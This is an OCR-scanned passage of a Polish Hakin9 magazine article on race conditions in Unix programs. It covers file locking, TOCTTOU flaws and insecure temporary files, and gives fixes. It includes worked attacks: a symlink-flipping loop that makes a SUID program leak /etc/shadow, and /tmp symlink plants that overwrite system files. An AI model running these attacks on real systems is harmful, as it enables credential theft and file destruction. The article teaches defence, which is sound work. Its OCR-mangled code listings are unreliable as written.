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ajprostszym przyktadem jest przypa-
N dek dwobch proceséw zapisujacych

dane do tego samego pliku. Jesli ich
praca nie jest w jaki§ sposdb zsynchronizo-
wana, wowczas nie wiadomo, ktory proces
wygra wyscig, czyli zapisze swoje dane jako
pierwszy.

Dwa proste przykiady

Listing 1 przedstawia przyktadowy program
obrazujacy taka sytuacje. Program tworzy dwa
procesy, z ktérych kazdy wypisuje ciag zna-
kow; proces macierzysty — AAAAAAAAAA,
proces potomny — BBBBBBBBBB. W obu pro-
cesach wytaczone jest buforowanie wyjscia,
wiec wypisywanie przebiega znak po znaku
(dzieki czemu mozna rzeczywiscie zaobserwo-
wac sytuacje wyscigu).

Skompilujmy ten program i wykonajmy go
kilka razy.

devil@hell$ gcc -Wall -orace race.c
devil@hell$ ./race

BAAAAAAAAAA

BBBBBBBBB

devil@hell$ ./race
BAAABBBBBBBBBAAAAAAA

devil@hell$ ./race
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Do sytuacji wyscigu

(ang. race condition) dochodzi
wowczas, gdy wiele procesow
wykonuje operacje na tych
samych danych, a rezultat tych
operacji jest zalezny od kolejno-
sci, w jakiej procesy zostang
wykonane.

AAAAAARAAA
BBBBBBBBBB
devil@hell$ ./race
BAAAAAAARAAA
BBBBBBBBB

Jak widac, efekty mogqg by¢ rézne — nie da sie
przewidzieé, jaki napis ukaze sie na wyjsciu.
Nie wiadomo nawet, ktory z proceséw rozpocz-
nie wypisywanie jako pierwszy — czasem jest to
rodzic, czasem potomek.

Powyzszy przyktad ma charakter wytacz-
nie demonstracyjny, jednak nietrudno wyobra-
zi¢ sobie sytuacje, w ktorej tego typu zdarzenie
mogtoby staé sie problemem. Spéjrzmy na ko-
lejny program, przedstawiony na Listingu 2. Je-

Uwaga

Przyktadowe programy i skrypty towarzyszace
temu artykutowi testowane byty pod Linuksem
i FreeBSD, jednak staratem sie pisac je w taki spo-
séb, by daty sie uruchomi¢ pod dowolnym syste-
mem zgodnym ze standardem POSIX (w jednym
przypadku wymagany jest system plikoéw /proc).
Nie dotyczy to oczywiscie linuksowego eksploita
luki ptrace/kmod, omawianego na koncu.

Artyklut pochodzi z czasopisma Hakin9. Do $ciggniecia bezptatnie ze strony: http://www.hakin9.org
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Listing 1. race.c — prosty
przyktad sytuacji wyScigu

#include <stdio.h>
#include <unistd.h>

int main()
char *s;

/*Wy*aczenie buforowania stdout*/

setbuf (stdout, NULL);

if (fork()
/* To wypisuje potomek... */
s = "BBBBBBBBBB\n";
else
/* ...a to rodzic */
s = "AAAAAAAAAA\n";
for (; *s != '"\0'; s++

putc(*s, stdout);

exit (0);

go zadaniem jest generowanie kolej-
nych numeréw sekwencyjnych — za
kazdym uruchomieniem programu
otrzymujemy liczbe o jeden wieksza
od poprzedniej. Program tego rodza-
ju mogtby postuzy¢ do generowania
unikatowych identyfikatorow uzyt-
kownikow w serwisie WWW (dziata-
jac jako CGl), mégtby takze po pro-
stu petni¢ role licznika.

Ostatnio wygenerowany numer
zapisywany jest w pliku sequence.

Listing 2. seq.c

#include <stdio.h>

#include <unistd.h>
int main ()

FILE *fp;

int c;
fp = fopen("sequence", "r+");
fscanf (fp, "%d", &c);

ctt;

printf ("Moj numer: %d\n", c);

/*Zapis nowego nu

do pliku*/

rewind (fp) ;
fprintf (fp, "%d\n", c);
fclose (fp);

return 0;
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Po uruchomieniu program wczytuje
6w numer, zwieksza go o jeden i za-
pisuje z powrotem.

Zobaczmy, jak wyglada to w
praktyce. Na poczatek umiescimy
zero W pliku sequence:

devil@hell$ echo 0 > sequence

Po jednokrotnym uruchomieniu pro-
gramu seq wygenerowany zostanie
numer 1. Zaaranzujmy jednak sytu-
acje, w ktérej program wykonywany
jest kilka razy w tym samym czasie.
Kilka proceséw seq bedzie sie wow-
czas $cigac¢ o dostep do pliku sequen-
ce — spojrzmy, jaki bedzie tego efekt.

devil@hell$ ./seq & ./seq & \
./seq & ./seq & ./seq

Moj numer: 1

Moj numer:

Moj numer:

Moj numer:

NN R e

Moj numer:

Najwyrazniej trzy pierwsze proce-
sy wczytaty z pliku zero, nastepnie
jeden z nich wpisat do niego nowg
warto$¢ 1. Odczytaty ja dwa kolej-
ne procesy. Program nie zadziatat
tak jak powinien, poniewaz nie prze-
widziano w nim mozliwosci wysta-
pienia sytuacji wyscigu. Co prawda
zostata ona sprowokowana, jednak
takze w rzeczywistosci wcale o nig
nietrudno. Jesli powyzszy program
bytby wykorzystywany do genero-
wania unikatowych numeréw na po-
trzeby witryny WWW, wéwczas wy-
Scig mogtby zosta¢ spowodowany
jednoczesng obstugg wielu zadan.
Swiadomy takiej sytuacji uzytkow-
nik moégtby spreparowaé serie za-
dan i doprowadzi¢ do wygenerowa-
nia btednych numeréw.

Blokady

Dostep do danych, z ktérych korzy-
sta wiele procesoéw, musi by¢ koor-
dynowany. W przypadku dostepu do
plikow stosowany jest zwykle me-
chanizm blokowania (ang. locking).
Proces, ktéry wykonuje operacje na
pliku, na pewien czas zaktada na nim
blokade, uniemozliwiajac dostep in-
nym procesom.

Sytuacje wys$cigu

Zwykle wyrdznia sie blokady dwu
typow — odczytu i zapisu. W zalezno-
Sci od tego, jakie operacje wykony-
wane beda na pliku, proces zaktada
blokade odpowiedniego typu. Bloka-
dy odczytu nazywane sg takze dzie-
lonymi (ang. shared lock), poniewaz
wiele procesd6w moze w tym samym
czasie zatozy¢ tego rodzaju bloka-
de na pliku i odczytywaé z niego da-
ne, nie przeszkadzajgc sobie nawza-
jem. Z kolei blokady zapisu nazywa
sie wytgcznymi (ang. exclusive lock),
gdyz tylko jeden proces moze za-
blokowa¢ plik do zapisu — inne pro-
cesy, chcac uzyskaé dostep do pli-
ku, muszg poczeka¢ na zakoncze-
nie zapisu.

Istnieje kilka odmian mechani-
zmu blokowania, wywodzacych sie
z réznych wersji Uniksa. W wyda-
niach opartych na Systemie V wy-
stepuje funkcja 1ockf, natomiast w
BSD - flock. Standard POSIX zale-
ca realizacje blokowania przy uzy-
ciu funkcji fent1 i te wiasnie funk-
cje zastosujemy za chwile. Dla wy-
gody w wiekszosci systeméw unik-
sowych jest takze implementowana
funkcja flock.

Na Listingu 3 przedstawiony zo-
stat program seq _ 1ock, ktory jest po-
prawiong wersjg programu seq. Przed
odczytaniem zawartosci pliku pro-
gram blokuje go. Parametry zaktada-
nej blokady definiowane sg w struktu-
rze flock; najbardziej interesuje nas typ
blokady —  _wrick, czyli blokada za-
pisu. Pozostate pola struktury zwigza-
ne sg z mozliwoscig zablokowania do-
wolnego fragmentu pliku (rekordu).

Blokada zaktadana jest w wyni-
ku wywotania funkcji fent1 z para-
metrem ¢ _setik lub v serirw. ROZ-
nica miedzy nimi polega na tym, ze w
przypadku, gdy inny proces zabloko-
wat wczeéniej dostep do pliku, fent1
wywotana z r_serrnk zwréci btad,
natomiast z » serrkw bedzie cze-
ka¢ na udostepnienie pliku. Zwolnie-
nie blokady przeprowadza sie w taki
sam sposoéb jak zatozenie, podajac
jako jej typ wartos$é r _ unicxk.

Sprawdzmy wiec, jak seq lock
poradzi sobie w warunkach bojo-
wych. Podobnie jak wczeéniej seq,
wywotujemy go pieciokrotnie w tle:
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Listing 3. seq_lock.c

#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>

int main ()

FILE *fp;
int c;
struct flock fl;

/* Blokada zapisu */
fl.1_type = F_WRLCK;
fl.1 _whence = SEEK_SET;
fl.1_start = 0;

fl.1 len = 0;

fp = fopen ("sequence", "r+");

&fl) ;

fscanf (fp, "%d", &c);

ctt;

printf ("Moj numer: %d\n", c);

* do pliku
rewind (fp);
fprintf (fp, "%d\n", c);

/% 7wol %/

e blokady
fl.1 type = F_UNLCK;
fentl (fileno (fp), F_SETLK, &fl);

fclose (fp);

return 0;

devil@hell$ ./seq lock & ./seq lock & \
./seq_lock & ./seq_lock & ./seq lock

Moj numer: 1

Moj numer:

Moj numer:

Moj numer:

oo W N

Moj numer:

Jak wida¢, dzieki wprowadzeniu me-
tody synchronizacji dostepu do pliku
sytuacja wyscigu zostata zazegnana.
Kazdy z proceséw wykonat odczyt i
zapis pliku nie kolidujac z pozostatymi.

Zwro¢my uwage, ze dopie-
ro funkcja fent1 sprawdza, czy plik
nie zostat wczes$niej zablokowany.
Oznacza to, ze wywotanie fopen Na
zablokowanym pliku przebiega po-

myslnie. Dostep do pliku jest zatem
mozliwy mimo blokady — mozna sie
o tym przekonaé np. wywotujac za-
raz po fcntl funkcje sieep, a pod-
czas drzemki procesu wydajgc na
innej konsoli polecenie echo 31337
> sequence. Taki stan rzeczy wynika
z faktu, ze blokady, o ktérych mowi-
my, sg z zatozenia zalecane (ang.
advisory), w odrdznieniu od obo-
wigzkowych (ang. mandatory — patrz
Ramka). Blokady zalecane majq
wptyw jedynie na te procesy, ktore
sprawdzajg ich obecnosc¢.

Czy w takim razie stosowanie
blokad ma jakikolwiek sens, sko-
ro w gruncie rzeczy nie zapewnia-
ja one plikom Zzadnej ochrony? Tak,
poniewaz ich rola jest inna — chro-
nig one pliki nie przed dostepem ze
strony programoéw i uzytkownikéw
nieuprawnionych, lecz przed jedno-
czesnym wykonywaniem operac;ji
przez programy upowaznione. Stu-
23 zatem do synchronizacji dostepu
do danych, a nie ich ochrony (od te-
go sg prawa dostepu do plikéw). Plik
sequence z poprzedniego przyktadu
powinien zatem mie¢ takie prawa do-
stepu, by jedynie procesy seq lock
mogty go odczytywac i zapisywac.

Pliki sa najpowszechniejszym
i najlepiej znanym mechanizmem
dostepu do danych, dlatego tez wy-
stepujg w gtéwnej roli w wiekszosci
przedstawianych tu przyktadéw. Sy-
tuacje wyscigu moga jednak mieé
miejsce takze w innych przypadkach
— zawsze wtedy, gdy kilka proceséw
ma dostep do tych samych zasobow
systemu.

Wykorzystywanie
sytuacji wyscigu
Omdwione do tej pory przyktady sy-
tuacji wyscigu dotyczyty przypad-

kéw, gdy proces w sposéb nieza-
mierzony ingerowat w dziatanie inne-
go procesu. Méwi sie, ze sg to sytu-
acje wyscigu pomiedzy wspétpracu-
jacymi procesami — mozemy nazwac
je przypadkowymi. Oprécz nich ist-
niejg zamierzone sytuacje wyscigu
— gdy jeden z procesow celowo za-
kiéca prace innego. Najczesciej sq
one znacznie bardziej grozne w skut-
kach, a co za tym idzie — ciekawsze.

Jezeli jakis program nie jest na-
pisany w sposob bezpieczny i po-
woduje wystapienie sytuacji wysci-
gu, wéwczas mozna hapisac¢ inny
program, ktory bedzie sie starat wy-
grac¢ wyscig i w jaki$ sposob na tym
skorzysta¢. Mamy zatem do czynie-
nia z programem-ofiarg i z progra-
mem-napastnikiem. Jak nietrudno
zgadna¢, te ostatnie to najczesciej
eksploity pisane przez hakeréw.

Wiele sytuacji wyscigu opisywa-
nych jest regutg nazywang w skroé-
cie TOCTTOU (ang. time of check
to time of use — czas sprawdzenia
a czas uzycia). Dotyczy ona pewne-
go mechanizmu: program sprawdza,
czy wystgpit okreslony warunek,
i w zaleznosci od wyniku owego
sprawdzenia wykonuje nastepng
operacje. Oto najbardziej popularny
przyktad takiej sytuacii:

if (access("plik", R OK) == 0)

fp = fopen("plik", "r");

Wywotujac funkcje access program
sprawdza, czy uzytkownik, ktéry
uruchomit program, dysponuje pra-
wem odczytu okreslonego pliku. Je-
Sli tak — plik jest otwierany przy po-
mocy funkcji fopen.

Z pozoru wyglada to na jak naj-
bardziej prawidtowy fragment pro-
gramu; mamy tu jednak do czynienia

Blokady obowigzkowe

O ile wtasciwe funkcjonowanie blokad zalecanych wymaga ich przestrzegania przez
procesy, to w przypadku blokad obowigzkowych funkcje te przejmuije jadro. Nadzoruje
ono wywotania funkcji open, read i write, i je$li wskutek wykonania ktorejs z nich mo-
gtoby doj$¢ do naruszenia blokady, wowczas funkcja konczy sie btedem. Blokadom
obowigzkowym podlegajg zatem wszystkie procesy.

Blokady obowigzkowe wymagajg wsparcia ze strony systemu plikdw. W Linuksie
ich obstuge wigcza sie poprzez zamontowanie systemu plikbw z opcjg mand.
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Mechanizmy blokowania w Perlu i PHP

Zaréwno w Perlu jak i w PHP obstuga blokad realizowana jest przez funkcje flock.
Wywotuje sie jg tak samo jak jej odpowiednik systemowy, czyli podajac jako argumen-
ty deskryptor pliku i typ blokady. Dopuszczalne sg nastepujace typy:

* LOCK_sH — blokada dzielona,
* LocK _EX—blokada wyfaczna,
* LOCK _ UN-—zwolnienie blokady.

Oto przykiad otwierania pliku do zapisu oraz zaktadania blokady wytacznej w Perlu:

(F, “> plik.txt”);
(F, LOCK_EX);

...oraz to samo w PHP:

Sfp = (“plik.txt”, “w”);
($fp, LOCK_EX);

bezptatnie ze ptrony: http://www.hakin9.org

z klasyczng sytuacjg wyscigu. Po-
miedzy wywotaniami access i fopen
plik moze bowiem ulec zmianie (na
przyktad moze zostac¢ usuniety). Jest
to konsekwencjg wielozadaniowosci
systemu operacyjnego, a witasciwie
sposobu jej realizacji. System opera-
cyjny moze przerwac¢ dziatanie pro-
cesu w dowolnej chwili — jest zatem
mozliwe, ze proces zostanie wstrzy-
many pomiedzy wywotaniami access
i fopen, @ wtgczony zostanie inny pro-
ces, ktéry modyfikuje otwierany plik.
Po powrocie do pierwszego proce-
su funkcja fopen bedzie pracowacé na
niewfasciwym pliku.

Argumentem funkcji access i fopen
jest nazwa pliku. Program zakfada, ze
przy obu wywotaniach nazwa odno-
si sie do tych samych danych na dys-
ku. Jest to jednak btedne zatoZenie,
poniewaz powigzanie (ang. binding)
miedzy nazwa pliku a danymi nie jest
state. Nazwa pliku stanowi jedynie ro-
dzaj etykiety, ktérg mozna w kazdej
chwili przenies¢ w inne miejsce.

ArtykLll pochodzi z czasopisma Hakin9. Do Sciggniecia
Bezptatne kopigwanie i rozpowszechanie artykutu dozwolone pod warunkiem Zachowania jego obecnej formy i tresci.

Procesy a watki

Obok procesow w systemie operacyj-
nym funkcjonuje mechanizm watkow.
Procesy i watki majg wiele cech po-
dobnych; jedng z nich jest zagrozenie
sytuacjami wyscigu. Takze w przypad-
ku watkéw istnieje potrzeba synchroni-
zacji dostepu do danych — jest ona re-
alizowana poprzez mechanizm mutek-
séw, analogiczny do blokad.

HakinS Nr 3

Niektére operacje wykonywane
przez proces nazywane sg atomo-
wymi (ang. atomic). System opera-
cyjny nie moze przerwa procesu
przed zakonczeniem dziatania takiej
operacji — jest ona zatem niepodziel-
na. Sprawdzenie dostepu do pliku
(access), a nastepnie jego otwarcie
(fopen), nie jest operacjg atomowa,
dlatego pojawia sie sytuacja wysci-
gu, polegajaca na mozliwosci zmia-
ny powigzania miedzy nazwg a da-
nymi pliku.

Funkcja access bywa uzywana
w programach z ustawionym bitem
SUID w celu stwierdzenia, czy plik
moze zosta¢ otwarty przez uzyt-
kownika uruchamiajgcego program
(brany jest pod uwage rzeczywisty,
a nie efektywny identyfikator uzyt-
kownika). Ma to zapewni¢ ochrone
przed sytuacja, gdy uzytkownik wy-
korzystuje program uprzywilejowa-
ny do uzyskania dostepu do pliku,
ktéry normalnie jest dla niego nie-
dostepny.

Przyktadowy program, widoczny
na Listingu 4, stuzy do wyswietlenia
zawartosci pliku o nazwie podane;j ja-
ko argument. Zaktadamy, ze program
ten bedzie dziata¢ z prawem SUID, a
jego wiascicielem bedzie root. Przy
pomocy tego programu kazdy uzyt-
kownik madgtby zatem otworzy¢ do-
wolny plik w systemie. Aby umozli-
wi¢ otwieranie jedynie tych plikow, do
ktorych uzytkownik faktycznie ma do-
step, wprowadzamy funkcje access.

Sytuacje wys$cigu

Skompilujmy program i ustawmy
mu bit SUID (naturalnie korzystajac
z konta root):

root@hell# gcc -Wall -oshow show.c

root@hell# chmod uts show

Sprawdzmy teraz, jak dziata zabez-
pieczenie realizowane przez funkcje
access. Sprébujmy odczyta¢ zawar-
to$¢ pliku /etc/shadow postugujac sie
kontem zwyktego uzytkownika:

devil@hell$ ./show /etc/shadow

/etc/shadow: Permission denied

Zgodnie z zatozeniami, uzytkownik
moze otwierac tylko te pliki, do kt6-
rych faktycznie ma dostep. Ponie-
waz jednak, jak juz wiemy, w pro-
gramie wystepuje klasyczna sytu-
acja wyscigu, postaramy sie jg wy-
korzystac.

Rozpoczynamy atak. Na wybra-
nej konsoli tworzymy pusty plik:

devil@hell$ touch pusty

Nastepnie uruchamiamy jednowier-
szowy skrypt powtoki:

devil@hell$ while [ 1 ]; do 1ln -sf \
pusty plik; 1ln -sf /etc/shadow plik;

done

Skrypt ten tworzy dowigzanie sym-
boliczne o nazwie plik, prowadzace
do utworzonego wczesniej pustego
pliku. Nastepnie zmienia plik doce-
lowy dowigzania na /etc/shadow, po-
tem z powrotem na pusty, i tak w nie-
skonczonosé. Dowigzanie takie mo-
zemy nazwacC migoczgacym, ponie-
waz jego plik docelowy nieustannie
sie zmienia.

Teraz druga czes¢ ataku — na in-
nej konsoli wpisujemy nastepujace
polecenia:

devil@hell$ touch wynik

devil@hell$ while [ ! -s wynik ]; \
do ./show plik > wynik \

2> /dev/null; done

Wywotujemy tu raz za razem pro-
gram show, przekierowujgc wyni-
ki jego pracy do utworzonego za-
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Listing 4. show.c — program
typu SUID

#include <stdio.h>
#include <unistd.h>
main (

argc, *argvl[])

FILE *fp;
buf[100];

(access(argv[l], R OK) == 0)
fp = fopen(argv(l], "r");

perror (argv[1l]);

exit (1);

(fgets (buf, 100, fp)
!= NULL)

fputs (buf, stdout);

fclose (fp);

exit (0);

wczasu pliku wynik (poczatkowo pu-
stego). Jesli za ktéryms$ razem mie-
libySmy szczescie, wowczas funk-
cja access zostataby wykonana na
pliku pusty, a fopen na /etc/shadow.
Pomiedzy wywotaniami nastgpita-
by zmiana pliku docelowego dowia-
zania plik spowodowana dziataniem
uruchomionego wczesniej skryp-
tu. Zawarto$¢ /etc/shadow trafitaby
do pliku wynik. Petla while zostanie
wowczas zakonczona, poniewaz jej
warunkiem jest zerowa dtugosc¢ pli-
ku wynik.

Pozostaje zatem tylko cierpliwie
poczekaé. Predzej czy pdzniej dopi-
sze nam szczescie, skrypt zakonczy
prace, a po wpisaniu polecenia cat
wynik N@szym oczom ukaze sie upra-
gniona zawartos¢ pliku /etc/shadow.

Opisana metoda nazywana jest
brutalng lub sitowg — catkiem zreszta
stusznie, poniewaz polega na usta-
wicznym podejmowaniu préb na si-
te, az do skutku. Jest to jedna z po-
wszechnie stosowanych metod wy-
korzystywania sytuacji wyscigu.

Czesto bywa tak, ze okolicznosci,
w ktérych atak odnosi zamierzony
skutek, wystepuja na tyle rzadko, ze
trzeba je sprowokowac — wtasnie po-
przez ciggte ponawianie prob.

Istnieje wiele sposobdéw uspraw-
nienia ataku. Mozna na przyktad za-
stapi¢ skrypt powtoki programem w
C, wykonujgcym to samo zadanie o
wiele wydajniej. Ponadto w czasie
podejmowania préb mozna dodat-
kowo obcigzy¢ system (na przyktad
wywotujgc petle while [ 1 7;
-n; done). Czesto korzysta sie takze
z mozliwosci obnizenia priorytetu
procesu ofiary (poleceniem nice).

Chcac unikng¢ tego rodzaju sytu-
acji wyscigu we wiasnym programie,
programista musi wiedzie¢, w jakich
okolicznosciach moze pojawic sie za-
grozenie i umie¢ zastosowa¢ metody
zapobiegawcze. Kazdy fragment pro-
gramu, w ktérym akcja podejmowa-
na jest na podstawie sprawdzone-
go wczesniej warunku, musi zostaé
przenalizowany pod katem ewentu-
alnego niebezpieczenstwa. Za po-
prawny mozna uzna¢ jedynie taki
kod, w ktérym sprawdzenie warun-
ku i akcja stanowi operacje atomowg
lub tez istnieje catkowita pewnosc¢, ze
plik (lub inny obiekt) nie moze ulec
zmianie w miedzyczasie.

Niebezpieczng kombinacje access/
fopen Mozna zastapi¢ ponizszym frag-
mentem kodu, wykorzystujgcym funk-
cje fstat:

do echo

fp = ("plik", "r");
if | (fileno (fp), &st) < 0)
(fp);

W strukturze st znajdg sie miedzy
innymi prawa dostepu do pliku, na
podstawie ktérych mozna nastepnie
ustali¢, czy uzytkownik uruchamiaja-
cy program ma prawo otworzy¢ plik.
Jak widaé¢, takze tutaj operacja prze-
biega dwuetapowo (najpierw fopen,
potem tstat), nie jest wiec atomowa.
Argumentem funkcji £stat jest jednak
wskaznik do pliku zwrécony przez
fopen. Powigzanie miedzy wskazni-
kiem a danymi pliku jest state, nie
jest zatem narazone na skutki dziata-
nia innego procesu w czasie miedzy
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Pliki systemowe

Wiele programoéw, takze uprzywilejo-
wanych, korzysta z plikéw systemo-
wych i polega na ich poprawnej zawar-
tosci. Modyfikacja plikéw systemowych
zaktéca prace tych programéw, co mo-
ze mie¢ niespodziewane efekty. Cieka-
wym przykftadem jest zachowanie daw-
nych wersji programu su. Jesli 6w pro-
gram nie mégt z jakiegos powodu otwo-
rzy¢ pliku passwd, wowczas urucha-
miat powtoke z uprawnieniami roota,
aby umozliwi¢ naprawe systemu.

sq.

s

wywotaniem fopen i fstat — Czego nie
mozna powiedzie¢ o powigzaniu po-
miedzy nazwa pliku a danymi.

W niektorych systemach wyste-
puje funkcja faccess, ktérej argumen-
tem jest wskaznik do pliku. Mozna
z niej korzysta¢ zamiast tstat.

Ciekawe rozwigzanie problemu
zastosowano w Linuksie. Obok rze-
czywistego, efektywnego i zacho-
wanego identyfikatora uzytkownika
wprowadzono dodatkowy identyfi-
kator FSUID, obowigzujacy podczas
sprawdzania praw dostepu do pli-
kow. Domysinie jest on kopig identy-
fikatora efektywnego i wraz z nim sie
zmienia, mozna jednak ustawi¢ jego
wartos¢ niezaleznie — stuzy do tego
funkcja setfsuid.

Najczesciej wymienianym przy-
ktadem zastosowania setfsuid sg li-
nuksowe serwery NFS. Po otrzyma-
niu zadania dostepu do danych, ser-
wer NFS zmienia swoj identyfikator
na identyfikator uzytkownika, ktory
wystat zadanie — dzieki temu serwer
nie dysponuje wiekszymi prawami
dostepu do danych niz sam uzytkow-
nik. Efektem ubocznym jest jednak
narazenie serwera NFS na dziata-
nie sygnatéw wysytanych przez nie-

Listing 5. win2iso
#!/bin/sh

WIN="1[\245\214\217\271\234\237]"
IS0="[\241\246\254\261\266\274]"

tr WIN ISO < $1 > /tmp/win2iso.tmp

mv /tmp/win2iso.tmp $1
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Listing 6. win2iso — wersja
druga

#!/bin/sh

WIN="[\245\214\217\271\234\237]"
ISO="[\241\246\254\261\266\274]"

tr WIN ISO < $1 > /tmp/win2iso.$$
mv /tmp/win2iso.$$ $1

uprawnionych uzytkownikéw (dowol-
ny uzytkownik moze unicestwié pro-
ces demona NFS). Wprowadzenie
funkcji setfsuid rozwigzuje ten pro-
blem, poniewaz pozwala ograniczy¢
prawa dostepu do plikéw, jakimi dys-
ponuje demon NFS, bez zmiany jego
identyfikatora uzytkownika.

W programie show.c mozna za-
stapi¢ sprawdzanie praw dostepu
do pliku wywotaniem setfsuid, kto-
re przypisuje FSUID-owi rzeczywi-
sty identyfikator uzytkownika:

(getuid());
if ((fp = (argv([1l], "r"))
== NULL) {

perror (argv([1l]);

Jak widag, funkcja setfsuid w duzym
stopniu utatwia realizacje kontro-
li dostepu do plikéw. Nalezy jednak
pamietac, ze jest to funkcja rdzennie
linuksowa, zatem nie moze by¢ sto-
sowana w programach, ktére miaty-
by by¢ przenosne.

Pliki tymczasowe

Bardzo czesto sytuacja wyscigu jest
ubocznym efektem niewtasciwego
korzystania z plikéw tymczasowych
(ang. temporary files). Takie pliki sg
powszechnie stosowane w progra-
mach, najczesciej w charakterze po-
mocniczych buforéw na dane, badz
jako brudnopis, w ktérym umieszcza-
na jest tres¢ nowo tworzonego pliku
przed jego zapisaniem pod witasci-
wa nazwa.

Wielu programistéow nie zdaje so-
bie sprawy z niebezpieczenstw towa-
rzyszacych korzystaniu z plikéw tym-
czasowych. Dowodem na to moga
by¢ chociazby nader czeste doniesie-
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nia o odkrywaniu w programach co-
raz to nowych luk, wynikajacych wta-
$nie z nieodpowiednio zrealizowanej
obstugi plikdw tymczasowych.

Postuzmy sie bardzo prostym
przyktadem nieostroznosci w wyko-
rzystaniu pliku tymczasowego. Wy-
obrazmy sobie administratora, kto-
ry dosy¢ czesto otrzymuje (np. w za-
tacznikach) pliki tekstowe z polski-
mi znakami w kodowaniu CP-1250
(Windows). Poniewaz jego ulubiony
edytor radzi sobie tylko z kodowa-
niem ISO, postanowit napisa¢ skrypt
umozliwiajacy tatwa konwersje pliku
tekstowego. Skrypt ten widoczny jest
na Listingu 5.

Jak widac, skrypt jest bardzo pro-
sty: wywotuje polecenie tr, ktére za-
mienia znaki w kodowaniu Windows
na ich odpowiedniki 1ISO. Poniewaz
jednak ten sam plik nie moze by¢
jednoczesnie wejsciem i wyjsciem
dla tr, potrzebny jest plik tymczaso-
wy. Wynik dziatania t- trafia do pli-
ku /tmp/win2iso.tmp, ktory nastepnie
przenoszony jest w miejsce oryginal-
nego pliku.

Na czym zatem polega niebez-
pieczenstwo? Otdz skrypt nie spraw-
dza, czy plik tymczasowy /tmp/win2i-
so.tmp nie zostat utworzony wcze-
$niej. Moznaby sadzi¢, ze nie ma
to wiekszego znaczenia, skoro i tak
poprzednia zawartos¢ pliku zostaje
usunieta (efekt zastosowania prze-
kierowania >). Jesli jednak istniatby
wczesniej plik /tmp/win2iso.tmp be-
dacy dowigzaniem symbolicznym do
innego pliku, wéwczas 6w inny plik
zostatby potraktowany jak plik tym-
czasowy. Innymi stowy: plik doce-
lowy dowigzania zostatby nadpisa-
ny zawartoscig pliku poddawanego
konwersji.

Zwrocmy uwage na dwie rzeczy:
po pierwsze — skrypt win2iso uru-
chamiany jest przez administratora,
a wiec dziata z jego uprawnieniami;
po drugie — kazdy uzytkownik moze
utworzy¢ plik w katalogu /tmp. Mo-
gliby$my zatem zawczasu stworzyé
plik /tmp/win2iso.tmp bedacy dowia-
zaniem symbolicznym do pliku syste-
mowego. Gdy administrator urucho-
mi skrypt, plik systemowy zostanie
nadpisany.

Sytuacje wys$cigu

Dla przyktadu na ofiare wybie-
rzemy plik /etc/motd (aby za wie-
le nie zepsu¢; nic nie stoi jednak na
przeszkodzie, by tak samo potrak-
towac¢ inny plik systemowy, choéby
/etc/passwd).

devil@hell$ 1ln -s /etc/motd \

/tmp/win2iso.tmp

Teraz pozostaje nam juz tylko cierpli-
wie czekaé, az administrator urucho-
mi swoj skrypt.

root@hell# win2iso plik.txt

Efekt? Przy nastepnym zalogowaniu
sie do systemu administrator zosta-
nie przywitany konwertowanym ostat-
nio plikiem tekstowym. Oczywiscie
nastepstwa nadpisania pliku /etc/
passwd bytyby znacznie grozniejsze.
Pliki systemowe sg dos¢ wdziecznym
obiektem eksperymentéw — zabawy z
nimi moga niekiedy przynies¢ zaska-
kujace rezultaty (patrz Ramka).

Administrator, jak kazdy cztowiek,
uczy sie na btedach. Przyjmijmy za-
tem, ze nauczony doswiadczeniem
poprawit skrypt win2iso, stosujac
technike zabezpieczajagcg przed
omowiong metodg ataku. Druga wer-
sja skryptu przedstawiona jest na Li-
stingu 6.

Symbol ss zastepowany jest
przez powtoke identyfikatorem pro-
cesu (PID), w zwigzku z czym nie
wiadomo, jaka bedzie nazwa pliku
tymczasowego. Atak nie bedzie za-
tem tak prosty, jak poprzednio.

Jak zdazyliSmy sie juz przeko-
na¢, przy okazji programu show, na-
der skuteczng metoda jest atak sito-
wy — zastosujemy go wiec i tym ra-
zem, jednak w nieco inny sposéb.
Skoro nie potrafimy przewidzie¢ na-
zwy pliku tymczasowego, zawczasu
przygotujemy pliki o wszystkich moz-
liwych nazwach, przy czym kazdy
z nich bedzie dowigzaniem symbo-
licznym do tego samego pliku sys-
temowego (w tej roli ponownie nie-
szczesny /etc/motd). Skrypt realizu-
jacy ten przebiegty plan pokazany
jest na Listingu 7.

Skrypt tworzy 65535 plikéw, od-
powiadajgcychkolejnymPID-ompro-
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Listing 7. Skrypt tworzgcy
dowigzania do pliku /etc/motd

#!/bin/sh

pid=1

[ $pid -1t 65536 ];
1In -s /etc/motd \
"/tmp/win2iso.$pid"
pid="expr $pid + 1°

cesu win2iso (liczbe te mozna
zwiekszy¢, co zresztg bywa niekie-
dy konieczne, poniewaz w stosowa-
nych obecnie systemach operacyj-
nych identyfikatory procesu mogag
mie¢ wieksze wartosci). Jego wyko-
nanie moze chwile potrwa¢, uzbroj-
my sie wiec w cierpliwos¢. Tym bar-
dziej, ze réwniez tym razem bedzie-
my musieli poczekac¢, az administra-
tor uruchomi skrypt win2iso. Efekt
bedzie taki sam, jak poprzednio
— nadpisanie /etc/motd.

W obu przyktadach z win2iso
sytuacje wyscigu sa z gory wygra-
ne — atak nastepuje w zasadzie du-
20 wczesniej, niz uruchomienie pro-
gramu ofiary. Jedynym warunkiem
powodzenia jest zaistnienie odpo-
wiednich okolicznosci (czyli wyko-
nanie skryptu win2iso) oraz oczywi-
Scie brak spostrzegawczosci admini-
stratora — zaktadamy, ze nie zauwa-
zy on ponad 60 tysiecy plikéw utwo-
rzonych w katalogu /tmp.

W kolejnym przyktadzie zobaczy-
my sytuacje wyscigu z prawdziwego
zdarzenia. Zacznijmy od scenariu-
sza; w roli gtéwnej po raz trzeci po-
mystowy administrator systemu.

Administrator zdenerwowat sie,
ze niektérzy uzytkownicy systemu ko-
rzystajg z IRC-a, cho¢ regulamin te-
go zabrania. Po serii présb i grézb po-
stanowit przyktadnie ukara¢ niesub-
ordynowanych uzytkownikéw, bloku-
jac im na jaki$ czas konta. Przygo-
towat skrypt /etc/noentry, pokazuja-
cy uzytkownikowi komunikat o zablo-
kowaniu konta, ktéry bedzie urucha-
miany zamiast powtoki uzytkownika
(skrypt przedstawiony jest na listin-
gu 8.). Ponadto, ze wzgledu na du-
2 liczbe uzytkownikéw systemu, ad-

ministrator nie chciat marnowac cza-
su na mozolne modyfikowanie pliku
/etc/passwd. Napisat zatem skrypt
denyirc (widoczny na Listingu 9), kto-
ry miat zautomatyzowac to zadanie.

Skrypt wczytuje kolejne wiersze
z pliku /etc/passwd. Jesli identyfika-
